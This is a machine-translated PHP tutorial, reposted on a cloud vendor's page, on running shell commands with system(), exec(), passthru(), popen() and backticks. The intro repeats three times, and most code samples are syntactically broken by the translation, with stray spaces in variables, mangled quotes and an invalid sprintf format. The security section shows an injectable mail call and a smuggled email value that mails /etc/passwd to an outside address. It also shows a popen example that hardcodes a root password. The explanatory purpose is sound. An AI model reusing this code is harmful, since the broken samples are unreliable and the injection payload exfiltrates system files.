Execute system external commands in PHP

Source: Internet
Author: User
As a server-side scripting language, PHP is fully competent for tasks such as simple writing or complex dynamic web pages. But this is not always the case. Sometimes, to implement a function, you must use an external program (or a command) of the operating system to get twice the result with half the effort. So, can I call External messages in a PHP script?

As a server-side scripting language, PHP is fully competent for tasks such as simple writing or complex dynamic web pages. But this is not always the case. Sometimes, to implement a function, you must use an external program (or a command) of the operating system to get twice the result with half the effort. So, can I call External messages in a PHP script?

PHPAs a server-side scripting language, such as simple writing or complex dynamic web pages, it is fully competent. But this is not always the case. Sometimes, to implement a function, you must use an external program (or a command) of the operating system to get twice the result with half the effort.

Can an external command be called in a PHP script? If so, how can we do it? What are your concerns? I believe you will be able to answer these questions after reading this article.

Yes?

The answer is yes. Like other programming languages, PHP can call external commands in a program, and it is very simple: just use one or more functions.

Prerequisites

Since PHP is basically used for WEB program development, security has become an important aspect of consideration. As a result, PHP designers added a security mode to PHP. If running in safe mode, the PHP script will be subject to the following four restrictions:

Execute External commands
Restrictions on opening a file
ConnectionMySQLDatabase
HTTP-based authentication
In security mode, only external programs in a specific directory can be executed, and calls to other programs will be rejected. This directory can be specified by using the safe_mode_exec_dir command in the php. ini file, or by adding the -- with-exec-dir option to compile PHP. The default value is/usr/local/php/bin.

If you call an external command that should be able to output the result (meaning that the PHP script is correct), the result is blank, it is very likely that your network administrator has run PHP In security mode.

How to do it?

You can use the following three methods to call external commands in PHP:MethodTo achieve:

1) use special functions provided by PHP

PHP provides three specialized functions for executing external commands: system (), exec (), and passthru ().

System ()

Prototype: string system (string command [, int return_var])

The system () function is similar to the one in other languages. It executes the given command, outputs and returns the result. The second parameter is optional and is used to obtain the status code after the command is executed.

Example:

System ("/usr/local/bin/webalizer ");
?>

Exec ()

Prototype: string exec (string command [, string array [, int return_var])

The exec () function is similar to system (). It also executes the given command, but does not output the result, but returns the last line of the result. Although it only returns the last line of the command result, the complete result can be obtained using the second parameter array by appending the result row by row to the end of the array. Therefore, if the array is not empty, we recommend that you use unset () to clear it before calling it. Only when the second parameter is specified can the third parameter be used to obtain the command execution status code.

Example:

Exec ("/bin/ls-l ");
Exec ("/bin/ls-l", $ res );
# $ Res is a data. Each element represents a row of the result.
Exec ("/bin/ls-l", $ res, $ rc );
# $ Rc is the status code of the command/bin/ls-l. The success is usually 0.
?>

Passthru ()

Prototype: void passthru (string command [, int return_var])

Passthru () only calls the command and does not return any results, but directly outputs the running result of the command to the standard output device as is. Therefore, the passthru () function is often used to call programs such as pbmplus (a Unix-based image processing tool that outputs binary original image streams. It can also get the status code of command execution.

Example:

Header ("Content-type: image/gif ");
Passthru ("./ppmtogif hunte. ppm ");
?>

2) use the popen () function to open the process

The preceding method can only execute commands, but cannot interact with commands. But sometimes you have to input something to the command, such as addingLinuxTo switch the current user to the root user, and the su command must enter the root password on the command line. In this case, it is obviously not feasible to use the method mentioned above.

The popen () function opens a process pipeline to execute the given command and returns a file handle. Since a file handle is returned, you can read and write it. In PHP3, you can only perform a single operation mode on the handle, either write or read. From PHP4, you can read and write the handle at the same time. Unless this handle is opened in a mode (read or write), you must call the pclose () function to close it.

Example 1:

$ Fp = popen ("/bin/ls-l", "r ");
?>

Example 2 (this example is from PHP China Alliance website http://www.phpx.com/show.php? D = col & I = 51 ):

/* Add a system user in PHP
The following is a routine. Add a user named james,
The root password is verygood. For reference only
*/
$ Sucommand = "su -- login root -- command ";
$ Useradd = "useradd ";
$ Rootpasswd = "verygood ";
$ User = "james ";
$ User_add = sprintf ("% s/" % s/"", $ sucommand, $ useradd, $ user );
$ Fp = @ popen ($ user_add, "w ");
@ Fputs ($ fp, $ rootpasswd );
@ Pclose ($ fp );
?>

3) use the reverse marker (', that is, the one under the ESC key on the keyboard, and ~ )

This method was not included in the document of PHP before and existed as a secret. The method is very simple. We use two anti-apostrophes to enclose the command to be executed as an expression. The value of this expression is the result of command execution. For example:

$ Res = '/bin/ls-l ';
Echo'

'.$res.'
';
?>

The output of this script is like:

Hunte.gif
Hunte. ppm
Jpg.htm
Jpg.jpg
Passthru. php

What should we consider?

There are two issues to consider: security and timeout.

First, check the security. For example, if you have a small online store, you can store the list of products that can be sold in a file. You wrote a formHTMLFile, ask your users to enter their EMAIL address, and then send the product list to them. Suppose you have not used the mail () function of PHP (or have neverHeard), You can call the mail program in Linux/Unix to send the file. The program is like this:

System ("mail $ to <products.txt ");
Echo "our product directory has been sent to your mailbox: $ ";
?>

Use this sectionCodeGeneral users do not have any danger, but there are actually very large security vulnerabilities. If a malicious user inputs an EMAIL address:

'-- Bla; mail someone@domain.com </etc/passwd ;'

Then the command will eventually become:

'Mail -- bla; mail someone@domain.com </etc/passwd; <products.txt'

I believe that no matter which network manager sees such a command, it will be a cold sweat.

Fortunately, PHP provides us with two functions: EscapeShellCmd () and EscapeShellArg (). The function EscapeShellCmd escapes all the characters in a string that may bypass Shell and execute another command. These characters have special meanings in Shell, such as semicolon (), redirection (>), and reading from a file (<. The EscapeShellArg function is used to process command parameters. It adds single quotes on both sides of a given string and escapes the single quotes in the string, so that the string can be safely used as a command parameter.

Let's take a look at the timeout issue. If the command to be executed takes a long time, put the command in the background of the system to run it. However, in the case of tacit recognition, functions such as system () will not be returned until the command is run completely (in fact, it will wait for the output result of the command), which will certainly cause the PHP script to time out. The solution is to redirect the command output to another file or stream, for example:

System ("/usr/local/bin/order_proc>/tmp/null &");
?>

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.